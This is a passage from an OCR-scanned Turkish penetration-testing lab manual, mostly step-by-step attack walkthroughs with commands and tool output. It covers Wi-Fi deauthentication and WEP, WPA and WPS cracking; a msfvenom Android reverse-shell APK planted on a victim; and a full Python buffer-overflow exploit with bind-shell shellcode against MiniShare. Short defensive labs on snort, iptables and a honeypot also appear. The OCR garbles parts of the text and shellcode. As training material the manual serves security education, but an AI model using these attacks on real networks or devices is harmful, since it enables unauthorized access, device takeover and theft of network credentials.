airodump-ng wlan2mon

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A1E:2A:4E:22:33 -48 16 223 93 6 54e. WPA2 CCMP PSK yonetim
3AI1E:2A4E:22:55 -47 18 0 0 6 54e. WPA2 CCMP PSK arge
3A:1E:2A:4E:22:66 -80 1 0 O 5 54e. OPN TOLGA

3.Adim

ENC alan1 OPN olarak goziiken cihaz parolasizdir. Bu agdaki paketleri dinleyip kaydetmek icin --
bssid parametresi ile cihazin mac adresi belirtilir. -w parametresi ile ise kaydedilecek dosya ismi
girilir.

Komut: airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66 -w kayit

4.Adim

Kaydedilen dosya wireshark ile agilarak paketler goriintiilenir.



14.3: Gizli SSID'leri goriintiilemek
Amag: SSID'si gizli bir agin SSID'sini bulmak

Lab Senaryosu: Wifi aygiti monitér moda gegirilir. SSID'si gizli olan cihazin mac adresi tespit
edilir. MAC adresi tespit edilen cihaz iizerinde bagh olan istemci mac adresi bulunur. Bulunan mac
adresli istemci agdan diistiriiliip tekrar baglanmasi saglanarak SSID elde edilir.

Kullanilan igletim sistemi:

- Kali Linux

Kullamilan Araclar:

- airmon-ng

- airodump-ng

Adimlar:

1.Adim

Wifi adapt6r monitér moda gegirilir.
2.Adim

Monitor moda gegirilen aygit iizerinden dinleme baglatilir. SSID'si <lenght: *> seklinde goziiken
cihazlar gizli SSID'ye sahip cihazlardur.

Komut: airodump-ng wlan2mon

airodump-ng wlan2mon

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A:1E:2A:4E:22:33 -48 16 223 93 6 54e. WPA2 CCMP PSK yonetim
3AI1E:2A4E:22:55 -47 18 0 0 6 54e. WPA2 CCMP PSK arge
3A1E:2A:4E:22:66 -50 3 61 0 3 54e WPA2CCMP PSK <length: 3>

3.Adim

Monitér moda gecirilen aygit lizerinden dinleme baslatilir. SSID'si <lenght: *> seklinde goziiken
cihazlar gizli SSID'ye sahip cihazlardir. Bu cihazin mac adresini kullanarak cihaz {izerine bagh
istemciler bulunur.

Komut: airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66

airodump-ng wlan2mon --bssid 14:AF:6D:E1:ED:28
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A:1E:2A:4E:22:66 -83 17 1 0 3 54e WPA2 CCMP PSK <length: 3>

BSSID STATION PWR Rate Lost Frames Probe
3A:1E:2A:4E:22:66 22:1A:2E:3B:31:22 -1 0e-0 O 1

4.Adim

STATION alaninda mac adresi tespit edilen istemci agdan diisiiriiliir. -a parametresi ile gizli ssid'ye



sahip olan cihazin mac adresi, -c parametresi ile agdan diisiirelecek istemci yazilir.

Komut: aireplay-ng -0 10 -a 3A:1E:2A:4E:22:66 -c 22:1A:2E:3B:31:22 wlan2mon --ignore-
negative-one

5.Adim

Diistiriilen istemci tekrar aga baglanildiginda SSID goriiniir olacaktir.

airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A:1E:2A:4E:22:66 -83 17 1 0 3 54e WPA2CCMP PSK TOLGA




14.4: WEP sifreleme kullanan agin parolasini ele gecirme

Amag: WEP sifreleme kullanan cihazin wireless ag parolasim kirmak

Lab Senaryosu: WEP sifreleme kullanan cihaz tespit edilir. Bu cihaza ait paketler kaydedilir.
Kaydedilen paketler {izerinden sifre kirma islemi gerceklestirilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- airmon-ng

- airodump-ng

- aircrack-ng

Adimlar:

1.Adim

Wifi adapt6r monitér moda gegirilir.
2.Adim

Monitdr moda gecirilen aygit {izerinden dinleme baglatilir. ENC alan1 WEP olan cihazlar WEP
sifreleme kullananlardir.

Komut: airodump-ng wlan2mon

airodump-ng wlan2mon

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A:1E:2A:4E:22:66 -50 3 61 0 3 54e WEP TOLGA
3.Adim

Sifrelemesi WEP olan cihazin mac adresi kullanilarak iv paketleri kaydedilir.
Komut: airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66 --ivs -w kayit
4.Adim

Kayit edilen dosya iizerinde sifre kirma islemi yapilir. Eger sifre kirma islemi gerceklesmez ise
daha fazla sayida iv paketi yakalanarak tekrar denenmelidir.

Komut: aircrack-ng kayit.ivs



14.5: WPA sifreleme kullanan agin parolasini ele gecirme

Amag: WPA sifreleme kullanan cihazin wireless ag parolasini kirmak

Lab Senaryosu: WPA sifreleme kullanan cihaz tespit edilir. Bu cihaza ait paketler kaydedilirken bir
handshake yakalanmaya calisilir. Eger yakalanamazsa bir istemci agdan diisiiriiliip handshake dyle
alinir. Kaydedilen paketler {izerinden sifre kirma islemi gerceklestirilir.

Kullanilan igletim sistemi:

- Kali Linux

Kullamilan Araclar:

- airmon-ng

- airodump-ng

- aircrack-ng

Adimlar:

1.Adim

Wifi adapt6r monitér moda gegirilir.
2.Adim

Monitor moda gegirilen aygit tizerinden dinleme bagslatilir. ENC alan1t WPA/WPAZ2 olan cihazlar
WPA sifreleme kullananlardir.

Komut: airodump-ng wlan2mon

airodump-ng wlan2mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3A1E:2A:4E:22:66 -50 3 61 0 3 54e WPA2 CCMP PSK TOLGA

3.Adim

Sifrelemesi WAP olan cihazin mac adresi kullanilarak handshake yakalanir. Handshake
yakalandiginda terminalde en tistte sagda goziikecektir.

Komut: airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66 -w kayit
Ciktisi:

airodump-ng wlan2mon --bssid 3A:1E:2A:4E:22:66 -w kayit
CH 6 ][ Elapsed: 1 min ][ 2016-09-28 11:09 ][ WPA handshake: 14:AF:6D:E1:ED:28

BSSID PWR RXQ Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID
3A:1E:2A:4E:22:66 -45100 972 105 10 6 54e. WPA2 CCMP PSK TOLGA
BSSID STATION PWR Rate Lost Frames Probe

3A:1E:2A:4E:22:66 22:1A:2E:3B:31:22 -48 0e-24 3291 1108

4.Adim

Eger handshake yakalanamamis ise bir istemci agdan diisiiriiliip handshake yakalanir.



Komut: aireplay-ng -0 10 -a 3A:1E:2A:4E:22:66 -c 22:1A:2E:3B:31:22 wlan2mon —ignore-
negative-one

5.Adim
WPA parolasini kirmak igin s6zliik gereklidir. -w parametresiyle sozliik verilebilir.

Komut: aircrack-ng -w sozluk.txt kayit.cap



14.6: WPS kullanilan cihazlarin kesfi ve parolasini ele gecirme

Amag: WPS kullanan cihazlarin parolasini ele gecirmek

Lab Senaryosu: WPS destegi acik olan cihazlar tespit edilir. WPS'i acgik olarak tespit edilen cihaza
parola kirma saldiris1 yapilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- airmon-ng

- wash

- reaver

Adimlar:

1.Adim

Wifi adapt6r monitér moda gegirilir.
2.Adim

WPS destegi acik olan cihazlar tespit edilir. Bu tespit icin wash araci kullanilir. WPS locked alani
No olanlar WPS destegi acik olanlardir.

Komut: wash -i wlan2mon

wash -i wlan2mon

BSSID Channel RSSI WPS Version WPS Locked ESSID
3A:1E:2A:4E:22:66 1 00 1.0 No TOLGA
3.Adim

WPS destegi acik oldugu tespit edilen cihaza WPS saldirisi yapilir.
Komut: reaver -vv -i mon0 -b 3A:1E:2A:4E:22:66 -c 1 -f —no-nack -d 5 -x 289
Cikusi:

[+] Trying pin *******
[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[P] E-Nonce: 51:1e:35:ad:f1:ff:01:ec:4a:1e:2e:89:32:1a:19:1¢c

[P] PKE:
80:€1:01:63:30:6b:29:35:cf:ff:dd:e1:35:ca:ce:51:7e:fc:cb:07:10:9a:7¢c:a5:2e:08:32:fd:45:11:3a:95:ec:b9:ea:ab:47:3e:a8:0
7:04:41:01:7e:11:85:98:a7:6f:7c:e7:37:8f.d6:16:c4:a4:34:50:5a:65:ec:d0:ba:ec:€9:68:84:51:ba:1a:8¢:28:f8:€2:0c:0f: 1e:e
6:34:7a:3¢:89:22:1a:31:20:fa:cd:2b:21:11:07:b2:7d:07:72:fe:69:07:6:50:17:09:04:f6:be:5b:20:07:€2:18:50:66:f8:a5:9f:9d
:9b:67:3c:1d:ba:61:06:28:7f:7b:b5:3e:3a:ba:20:34:5a:ba:3d:b7:4c:ce:5b:07:ba:94:35:€0:¢6:59:c1:¢c5:6d:ce:a3:f0:29:2a:1




8:78:38:¢f:22:48:66:50:03:01:83:36:cf:eb:40:€5:92:4e:19:5b:19:7e:9b:45:ae:bc:37:44:0.72:75:21:d4:3¢:0c:92
[P] WPS Manufacturer: Ayecom

[P1 WPS Model Number: ********

[+] Received M1 message

[P] AuthKey: 8:1f:49:91:30:0a:71:aa:4a:50:2¢:64:d8:ff:ea:2c:91:3e:4d:61:55:23:9f:5a: 1e:df:21:9a:b9:2d:1d:d0
[+] Sending M2 message

[P] E-Hash1: 19:e9:b4:ca:6b:ce:cd:85:16:1f:16:bb:b8:1d:37:fc:d6:b1:21:ca:14:5b:1f:41:ee:2b:71:7b:1¢:2f:56:5a
[P] E-Hash2: 8c:16:€e:22:95:27:09:96:8d:fa:ca:81:3a:f4:14:e0:¢1:5f:41:78:a7:b3:52:6e:f1:3c:1¢:91:bc:a9:50:ac
[+] Received M3 message

[+] Sending M4 message

[+] Received M5 message

[+] Sending M6 message

[+] Received M7 message

[+] Sending WSC NACK

[+] Sending WSC NACK

[+] Pin cracked in 11 seconds

[+] WPS PIN; meseesss

[+] WPA PSK: i * * * i i i

[+] AP SSID: 'TOLGA'

[+] Nothing done, nothing to save.




15 - Firewall & Honeypot ve IDS'ler
15.1: Basit IDS Ornegi
Amac: Network belli icerige sahip paketleri tespit edip loglamak

Lab Senaryosu: Tespit edilecek paket ile ilgili snort kurali olusturulur. Snort loglama ve konsola
cikt1 verme modunda bagslatilir. Tespit edilecek paket gonderilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamlan Araclar:

- snort

- leafpad

- browser

Adimlar:

1. Adim

Ozel kural girmek icin “local.rules” dosyasi agilir.

Komut: leafpad /etc/snort/rules/local.rules

2.Adim

Dosyaya tespit edilmesi istenen paket icerigini iceren kural yazilir. Yazim sekli su sekilde olmalidir:
yapilmak_istenen protokol kaynak_ip kaynak_port yon hedef_ip hedef_port (secenekler)

Icerisinde “test” gecen herhangi bir tcp paketini yakalamak ve loglamak icin asagidaki kural
kullanilabilir.

alert tcp any any -> any any (msg:"Icerisinde 'test' gecen paket"; content:"test";sid:3333;rev:1)
3.Adim

Snort loglama ve konsola ¢ikti verme modunda baslatilir. -1 parametresi log dizini, -c parametresi
config dosyasi, -A console parametresi konsola ¢ikt1 vermek i¢in kullanilir.

Komut: snort -1 /var/log/snort/ -c /etc/snort/snort.conf -A console

4.Adim

Browserdan icerisinde test gecen bir istek gonderildiginde istegin alert olarak loglandig:
goriilecektir.

Komut: http://192.168.170.150/test/
Ciktisi:

Commencing packet processing (pid=1529)
09/29-13:08:17.166021 [**] [1:3333:1] Icerisinde 'test' gecen paket [**] [Priority: 0] {TCP} 192.168.170.1:39713 ->
192.168.170.150:80




15.2: Guivenlik Duvari Filtreleme

Amag: Giivenlik Duvarina gelen belli icerikteki paketleri engellemek.

Lab Senaryosu: Engellenecek paket ile ilgili glivenlik duvar1 kurali olusturulur. Engellenecek
paket gonderilir.

Kullanilan igletim sistemi:

- Kali Linux

Kullanilan Araclar:

- iptables

- browser

Adimlar:

1.Adim

Web paylasimi dizinine bir dosya olusturur.

Komut: echo “tolga kizilkaya” > /var/www/html/gizli.txt
2.Adim

Gizli.txt paketini engellemek i¢in giivenlik duvar1 kurali olusturulur.

Komut: iptables -I INPUT -p tcp --dport 80 -m string --algo bm --string 'gizli.txt' -j REJECT --
reject-with tcp-reset

3.Adim
Browserdan engellenen icerigi bulunduran bir paket gonderilir. Paketin engellendigi goriilecektir.

Komut: http://192.168.170.150/gizli.txt

& > ¢ 0 152.168.170.150/gizli

Bu siteye ulasilamiyor

Badlanti sifirlandi.

Asagidakileri deneyin:
» Badlantinizi kontrol etme
» Proxy'yi ve glvenlik duvarini kontrol etme



15.3: Honeypot
Amag: Belirli portlar1 agip gelen istekleri kaydetmek

Lab Senaryosu: Istekleri kaydetmek icin port secilir. Segilen portta honeypot ¢aligtirilir. Gelen
istekler kaydedilir.

Kullanilan igletim sistemi:

- Kali Linux

Kullamilan Araclar:

- pentbox

- browser

Adimlar:

1.Adim

Pentbox.rb araci ruby ile agilir.
Komut: ruby pentbox.rb

Ciktisi:

ruby pentbox.rb
PenTBox 1.8

UooU|'@eeee@ .

_(cecerrrrerer)
(Ceerrer)
YY~~~~YY'

--------- Menu ruby2.1.5 @ x86_64-linux-gnu
1- Cryptography tools

2- Network tools

3- Web

4- Ip grabber

5- Geolocation ip

6- Mass attack

7- License and contact

8- Exit

->

2.Adim
Network tools altindaki Honeypot secilir.

Ciktis:

--------- Menu ruby2.1.5 @ x86_64-linux-gnu
1- Cryptography tools




2- Network tools
3- Web
4- Ip grabber
5- Geolocation ip
6- Mass attack
7- License and contact
8- Exit
> 2
1- Net DoS Tester
2- TCP port scanner
3- Honeypot
4- Fuzzer
5- DNS and host gathering
6- MAC address geolocation (samy.pl)
0- Back
>3
/ Honeypot //
You must run PenTBox with root privileges.
Select option.
1- Fast Auto Configuration
2- Manual Configuration [Advanced Users, more options]

3.Adim
Manuel Yapilandirmaya girilir. Ayarlar yapilir.
Ciktsi:

Select option.
1- Fast Auto Configuration
2- Manual Configuration [Advanced Users, more options]
> 2
Insert port to Open.
-> 80
Insert false message to show.
-> 404 NOT FOUND
Save a log with intrusions?
(yn) ->y
Log file name? (incremental)
Default: */pentbox/other/log_honeypot.txt
->
Activate beep() sound when intrusion?
(yin) ->n
HONEYPOT ACTIVATED ON PORT 80 (2016-09-29 17:54:36 +0300)

4.Adim

Browserdan bir istek yapilir. Yapilan istekte “404 NOT FOUND” goziikecektir. Fakat programa
baktigimizda istegin iceriginin loglandig: goziikecektir.

Komut: http://192.168.170.150/



Ciktis:

INTRUSION ATTEMPT DETECTED! from 192.168.170.1:43715 (2016-09-29 17:56:42 +0300)

GET /HTTP/1 1

Host: 192.168.170.150

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4

Cookie: _ utma=15106678.881273882.1471852576.1471852576.1474365970.3;
__utmz=15106678.1471852576.1.1.utmcsr=(direct)|Jutmccn=(direct)|Jutmcmd=(none);
_ga=GA1.1.881273882.1471852576

& C | O 192.188.170.150

404 NOT FOUND



16 — Mobil Platformlar

16.1: Apk ile android cihaza sizma

Amagc: Hedef sistemi apk ile ele gecirmek

Lab Senaryosu: Ters baglant1 verebilen bir apk olugturulur. Bu apk kurbana indirtilir. Apk
calistiginda ters baglanti elde edilmis olur.

Kullanilan isletim sistemi:
- Kali Linux

- Android

Kullanilan Araclar:

- metasploit

Adimlar:

1.Adim

Ters baglanti iceren apk olusturulur. -p parametresi ile payload, LHOST ile ters baglanti ip'si,
LPORT ile ters baglant1 portu girilir.

Komut: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.170.150 LPORT=4444 R
> /root/android.apk

2.Adim

Bu dosya android cihaza aktarilir.

3.Adim

Ters baglantiy1 dinlemek icin handler agilir.
Komut: msfconsole

use exploit/multi/handler

set payload android/meterpeter/reverse_tcp
set LHOST 192.168.170.150

set LPORT 4444

exploit

Ciktis:

msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.170.150

LHOST => 192.168.170.150

msf exploit(handler) > set LPORT 4444

LPORT => 4444




msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.170.150:4444
[*] Starting the payload handler...

4. Adim

Apk calistirildiginda meterpreter oturumu agilmis olacaktir.

Ciktisi:

[*] Started reverse TCP handler on 192.168.170.150:4444
[*] Starting the payload handler...
[*] Sending stage (60830 bytes) to 192.168.170.146

[*] Meterpreter session 1 opened (192.168.170.150:4444 -> 192.168.170.146:40138) at 2016-10-03 10:01:36 +0300
meterpreter >




17 - Hafiza Tasmasi
17.1: Exploit Hazirlama
Amacg: Zafiyetten yararlanarak exploit hazirlamak

Lab Senaryosu: Hedef sistemdeki zafiyet tespit edilir. Zafiyete uygun exploit hazirlanir. Komut
satirini bir portta eriseme acan payload ayarlanir. Exploit kodu hedefe gonderilir ve hedef sistemin
komut satir1 dis erigsime agilir.

Kullamilan isletim sistemi:

- Kali Linux

- Windows XP

Kullamilan Araclar:

- python

- minishare

- immunity debugger

- metasploit

- telnet

Admlar:

1.Adim

XP'de minishare uygulamasi acilir.
2.Adim

Web sunucusuna istek génderen bir python kodu hazirlanir.

Pyton kodu: Bu kod XP makinesine 2000 adet A gondermektedir.

#!/usr/bin/python

import socket, sys

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect(("192.168.170.235", 80))

buffer = "GET "

buffer +="A" * 2000

buffer += " HTTP/1.1"

buffer +="\r\n\r\n"

sock.send(buffer)

sock.close()

3.Adim

Bu betik XP'ye gonderildiginde minishare uygulamasi hata verecektir. Hata kodu incelendiginde
Offset alaninda 41414141 goziikecektir. Bu hex degerin karsilid1 65 tir. 65'in ascii karsiig1 ise
“A”'dlr.



Hata imzasi

AppMame: minishare. exe Appver 0.0.0.0 Modi ame: unknown
tModver: 0.0.0.0 Offzet: 41414141

Rapor olugturma aynntilan
Bu hata raporunda bulunanlar: sorun olustugunda minishare. exe upgulamasinin durumuyla ilgili bilgiler;
kullarular igletim sisterni siirlimii ve bilgizapar donarim; gerekirse lizanzsiniz tanitmada kullanilan S avisal
Uriin Kimliginiz; bilgisayanmzin Internet lletizim Kural [IP] adresi.

Dospalanmiz, adinizi, adresinizi, e-posta adresinizi veya kimliginizi ortaya gikarabilecek herhangi bir bilgiyi,
beliri bir amagla almiporuz. Ancak hata rapory, agik dosyalardaki veriler gibi miisterive dzel bilgileri
igerebilir. Bu bilgiler kimliginizi belillemede kullanilabilir gibi goriinze bile bu amagla kullanimayacak.

Topladigimiz veriler yalmzca sorunu gozmede kullanlacak. Daha fazla bilgi varsa, sounu rapor
eftiginizde size bildirecediz. Bu hata raporu, glivenli bir baglant kullarilarak sivh erigimi alan bir
veritabanina gonderilecek ve pazarlama amaciyla kullarilmayacak.

Hata raporu hakkinda teknik bilgi goriintiilemek igin, buraw biklatin,
wheb'deki veri toplama ilkemizi gormek: igin, buraw biklatin, K.apat

4.Adim
Minishare uygulamasi immunity debugger ile acilir.
5.Adim

Hafizaya kag byte yazdiktan sonra EIP iizerine yazdigimizi bulmak i¢in metasplotin pattern araci
kullanilir. ilk olarak 2000 byte uzunlugunda bir pattern olusturulur.

Komut: cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb 2000

Ciktisi:

./pattern_create.rb 2000

AaOAa1Aa2Aa3Aad4Aa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4AbSAbEAb7 Ab8ABIACOACTAC2AC3AC4ACSACBACTACBACI
AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7AdBAdIAe0Ae1Ae2Ae3Ae4AeS5Ae6Ae7 Ae8AcIATOAT1 AF2AT3ATAATSATEAT7 ATBAFOAGOA
g1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AN0Ah1Ah2Ah3Ah4AN5Ah6Ah7 ARBANIAIOAI1AI2AI3AI4AISAIBAI7TAIBAISAJOAJ1Aj2A]
3Aj4Aj5A6A]7AJBA]9AKOAKT1AK2AK3AK4AKSAKBAKT AKBAKIAIOAITAI2AIBAI4AISAIBAI7 AIBAISAMOAMTAM2AM3AmM4Am
5AmMBAM7AM8AMIANOAN1T1AN2AN3AN4An5AN6AN7AN8AN9A00A01A02A03A04A05A06A07A08A09AP0AP1AP2AP3AP
4Ap5Ap6Ap7Ap8AP9AGOAg1Aq2Aq3Aq4Ag5Ag6Aq7Aq8AqOArOAr1Ar2Ar3Ar4Ar5Ar6Ar7 Ar8Aro9As0As1As2As3As4As5
AsBAs7As8AsIALOAL1 At2At3A4ALSABAL7 AtBAIOAUOAUTAU2AU3AU4AUSAUBAUTAuBAUSAVOAVTAV2AV3AVAAV5AVBAY
7Av8AVIAWOAW 1 AW2AW3AWAAWSAWEAW7 AWBAWIAXOAXTAX2AX3AX4AXSAX6AXTAXB8AXOAYO0AY1Ay2Ay3Ay4Ay5Ay6
Ay7Ay8Ay9Az0AZz1AZz2Az3Az4AZz5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6
Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcOBd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6
Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7B
h8Bh9BiOBi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk 1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9BIOBI1BI
2BI3BI4BI5BI6BI7BI8BI9BmOBmM1Bm2Bm3Bm4Bm5Bm6BmM7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B0o0Bo1
Bo2Bo3B0o4Bo5Bo6Bo7Bo8B09Bp0Bp1Bp2Bp3Bp4Bp5SBp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bg4Bq5Bq6Bq7Bq8Bq9BrOBr1
Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu
4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvIBWOBwW1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBXx0Bx1Bx2Bx3
Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3C
a4Ca5Cab6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cbh4Cb5Ch6Ch7Cb8ChICCcOCCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcICd0Cd1Cd2Cd
3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9CfOCH1C2CT3CT4CT5CIECT7Cf8CFICg0Cg1Cg2Cg3
Cg4Cg5Cgb6Cg7Cg8CgIChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj
5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8CkICIOCIM1CI2CI3CI4CI5CI6CI7CIBCIOCMOCM1CmM2Cm3Cm4CmS5C
mBCmM7Cm8CmI9CNOCN1CNn2Cn3Cn4Cn5Cn6CN7Cn8Cn9C00C01C02C03C04Co5Co




6.Adim
Olusturulan pattern'l iceren istek tekrar python kodu ile xp'ye gonderilir.

Python kodu:

#!/usr/bin/python

import socket, sys

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect(("192.168.170.235", 80))

buffer = "GET "

buffer += "PATTERN”

buffer += " HTTP/1.1"

buffer += "\r\n\r\n"

sock.send(buffer)

sock.close()

7.Adim

EIP yazmacindaki deger pattern aracina verilerek kaginci byte'ta eip degerine ulastigimiz bulunur.

< Immunity Debugger - minishare.exe - [CPU - thread 00000714] @@
[€] Fie ¥iew Debug Plugins Immiib Options ‘Window Help lobs -8 x
[OHhEE «xr N w2 lieJ+ 1 emtwhocPXklbzr..

A Beaisters (FPUD

[

Show call stack <Alt+i> [Paused

Komut: ./pattern_offset.rb 36684335

Ciktisi:
./pattern_offset.rb 36684335
[*] Exact match at offset 1787

8.Adim

EIP yazmacina ESP yazmacini gosteren degeri girelim. Hafizada bir yerdeki ESP yi gosteren adresi
bulmak i¢in Immunity Debugger da agagidaki yolu izleyebiliriz. View > Executable Modules >
Listeden “SHELL32” iizerine ¢ift tiklayip secelim. Sol iist b6lmede sag tiklayip “Search For” >



“Command” diyoruz. Ac¢ilan arama ekraninda “JMP ESP” ifadesini ariyoruz.

* T — are.exe - [CPU - thread 00000714, module SHELL32] [BEE]
ebu s, g x

o Jobs

emtwhcPkbzr..
. 7

9.Adim

Buldugumuz JMP ESP komutunun adresini ters cevirerek EIP yazmacina gelecek sekilde exploit
kodumuza ekliyoruz.

Python Kodu:

#!/usr/bin/python

import socket, sys

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect(("192.168.170.235", 80))

buffer ="GET "

buffer +="A" * 1787 #offset degeri

buffer += "\xD7\x30\x9c\x7c" #EIP

buffer +="HTTP/1.1"

buffer +="\r\n\r\n"

sock.send(buffer)

sock.close()

10.Adim
Hedef sistemde 4444 portuna komut satir1 olusturacak shellcode olusturalim.

Komut: msfvenom -p windows/shell_bind_tcp LPORT=4444 -a x86 -b "\x00\x0d" -f ¢ >
/root/shellcode

11.Adim
Elde edilen shellcode python koduna eklenir. Python kodu ¢alistirilir.

Python kodu:

#!/usr/bin/python
-*- coding: utf-8 -*-
import socket, sys
sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect(("192.168.170.235", 80))




buffer = "GET "

buffer += "A"*1787 #offset degeri

buffer += "xD7\x30\x9c\x7c" #EIP

buffer += "\x90"*20 #Nopsled

buffer += ("\xbfixdb\xa1\x8a\xe7\xd9\xc5\xd9\x74\x24\xf4\x5e\x29\xc9\xb 1\x53\x83\xc6\x04\x3 1\x7e\x0e\x03\xa5\xaf\
x68\x12\xa5\x58\xee\xdd\x55\x99\x8f\x54\xb0\xa8\x8fAx03\xb 1\x9b\x3f\x4 7\x97\x17\xcb\x05\x03\xa3\xb9\x8 1\x24\x 04\
X77\xf4\x0b\x95\x24\xc4\x0a\x 15\x37\x 19\xec\x24\xf8\x6c\xed\x6 1\xe5\x9d\xbf\ix3a\x6 1\x33\x2f\x4e\x3A\x88\xc4\x 1c\xd 1\
x88\x39\xd4\xd0\xb9\xec\x6e\x8b\x 19\x0f\xa2\xa7\x13\x17\xa7\x82\xea\xac\x 13\x78\xed\x64\x6a\x8 1\x42\x49\x4 2\x 7 0\
x9a\x8e\x65\x6b\xe9\xe6\x95\x 16\xea\x3d\xe7\xcc\x7f\xa5\x4A\x86\xd8\x01\x7 1\x4b\xbe\xc2\x7d\x20\xb4\x8c\x6 1\xb 7\
x19\xa7\x9e\x3c\x9c\x67\x17\x06\xbb\xa3\x7 3\xdc\xa2\xf2\xd9\xb 3\xdb\xe4\x8 1\x6 c\x 7 e\x6f\x2f\x 7 8\xf3\x32\x38\x4 d\
x3e\xcc\xb8\xd9\x49\xbf\x8a\x46\xe2\x57\xa7\x0f\x2c\xa0\xc8\x25\x88\x3e\x37\xc6\xe9\x 1 7\xfc\x92\xb9\x0f\xd5\x9a\
x51\xcfixda\x4e\xcf\xc7\x7d\x21\xf2\x2a\x3d\x9 1\xb2\x84\xd6\xfb\x3c\xfb\xc7\x03\x97\x94\x60\xfe\x 1 8\x8b\x2c\x 7 7\xfe\
xc1\xdc\xd 1\xa8\x7d\x1i\x06\x6 1\x1a\x60\x6c\xd9\x8c\x29\x66\xde\xb 3\xa9\xac\x48\x23\x22\xa3\x4c\x52\x35\xee\xe4\
x03\xa2\x64\x65\x66\x52\x78\xac\x 10\xf7\xeb\x2b\xe0\x7e\x 10\xe4\xb 7\xd 7\xe6\xfd\x5d\xca\x51\x54\x4 3\x17\x07\x9f\
xc7\xcc\xf4\x1e\xc6\x8 1\x4 1\x05\xd8\x5f\x49\x0 1\x8c\x0f\x 1 c\xdf\x7a\xf6\xf6\x9 1\xd4\xa0\xa5\x 7 b\xb0\x35\x86\xbb\xc6\
x39\xc3\x4d\x26\x8b\xba\x0b\x59\x24\x2b\x9c\x22\x58\xcb\x6 3\xfI\xd8\xfb\x29\xa 3\x4 9\x94\xf7\x36\xc8\xfI\x 0 7\xed\xOf\
x04\x84\x07\xfO\xf3\x94\x62\xf5\xb8\x 12\x9f\x87\xd 1\xf6\x9f\x34\xd 1\xd2")

buffer +=" HTTP/1.1"

buffer += "\r\n\r\n"

sock.send(buffer)

sock.close()

12.Adim
Hedef sisteme telnet ile baglanilir.
Komut: telnet 192.168.170.235 4444

Ciktisi:

telnet 192.168.170.235 4444
Trying 192.168.170.235...

Connected to 192.168.170.235.

Escape character is 'A]".

Microsoft Windows XP [Siriim 5.1.2600]
(C) Telif Hakki 1985-2001 Microsoft Corp.
C:\Program Files\MiniShare>




18 - Kriptografi

